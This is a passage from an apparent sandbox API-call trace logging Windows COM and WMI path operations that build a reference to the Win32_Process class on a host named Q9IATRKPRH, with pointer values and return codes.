ppvObject=0x1b2fcbf8*=0x1bea1df0) returned 0x0 [0070.063] WbemDefPath:IUnknown:Release (This=0x11d4ef0) returned 0x0 [0070.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1df0) returned 0x0 [0070.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.064] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0070.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11d4e70) returned 0x0 [0070.064] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4e70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.064] WbemDefPath:IUnknown:Release (This=0x11d4e70) returned 0x3 [0070.064] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.064] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.064] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0070.064] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x1 [0070.064] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.064] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1df0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1df0) returned 0x0 [0070.064] WbemDefPath:IUnknown:AddRef (This=0x1bea1df0) returned 0x3 [0070.064] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x2 [0070.064] WbemDefPath:IWbemPath:SetText (This=0x1bea1df0, uMode=0x4, pszPath="") returned 0x0 [0070.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.064] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1df0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0070.064] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1df0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0070.065] WbemDefPath:IWbemPath:SetServer (This=0x1bea1df0, Name="Q9IATRKPRH") returned 0x0 [0070.065] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.065] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.065] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.065] IUnknown:Release (This=0x111f638) returned 0x1 [0070.066] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11d4bf0) returned 0x0 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4bf0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.067] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4bf0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1d30) returned 0x0 [0070.067] WbemDefPath:IUnknown:Release (This=0x11d4bf0) returned 0x0 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1d30) returned 0x0 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.067] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11d4c90) returned 0x0 [0070.067] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4c90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.067] WbemDefPath:IUnknown:Release (This=0x11d4c90) returned 0x3 [0070.067] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.067] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.068] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0070.068] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0070.068] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.068] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1d30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1d30) returned 0x0 [0070.068] WbemDefPath:IUnknown:AddRef (This=0x1bea1d30) returned 0x3 [0070.068] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x2 [0070.068] WbemDefPath:IWbemPath:SetText (This=0x1bea1d30, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1d30, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1d30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0070.068] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1df0) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1d30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1d30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1d30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0070.068] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1df0, uIndex=0x0, pszName="ROOT") returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1d30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1d30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0070.068] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1df0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1df0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0070.068] WbemDefPath:IWbemPath:SetClassName (This=0x1bea1df0, Name="Win32_Process") returned 0x0 [0070.068] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1df0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1df0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0070.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1df0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0070.069] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0070.069] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0070.069] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0070.069] IUnknown:Release (This=0x111f638) returned 0x1 [0070.071] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11d4a50) returned 0x0 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4a50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0070.071] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4a50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea1c70) returned 0x0 [0070.071] WbemDefPath:IUnknown:Release (This=0x11d4a50) returned 0x0 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea1c70) returned 0x0 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0070.071] WbemDefPath:IUnknown:AddRef (This=0x1bea1c70) returned 0x3 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0070.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11d50f0) returned 0x0 [0070.072] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d50f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.072] WbemDefPath:IUnknown:Release (This=0x11d50f0) returned 0x3 [0070.072] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0070.072] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0070.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0070.072] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x2 [0070.072] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x1 [0070.072] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0070.072] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0070.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1c70, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea1c70) returned 0x0 [0070.072] WbemDefPath:IUnknown:AddRef (This=0x1bea1c70) returned 0x3 [0070.072] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x2 [0070.072] WbemDefPath:IWbemPath:SetText (This=0x1bea1c70, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0070.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.072] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0070.072] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.072] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.072] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.072] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.072] IUnknown:Release (This=0x111f638) returned 0x1 [0070.074] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11d5070) returned 0x0 [0070.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.074] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d5070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1af0) returned 0x0 [0070.074] WbemDefPath:IUnknown:Release (This=0x11d5070) returned 0x0 [0070.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1af0) returned 0x0 [0070.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.075] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0070.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, 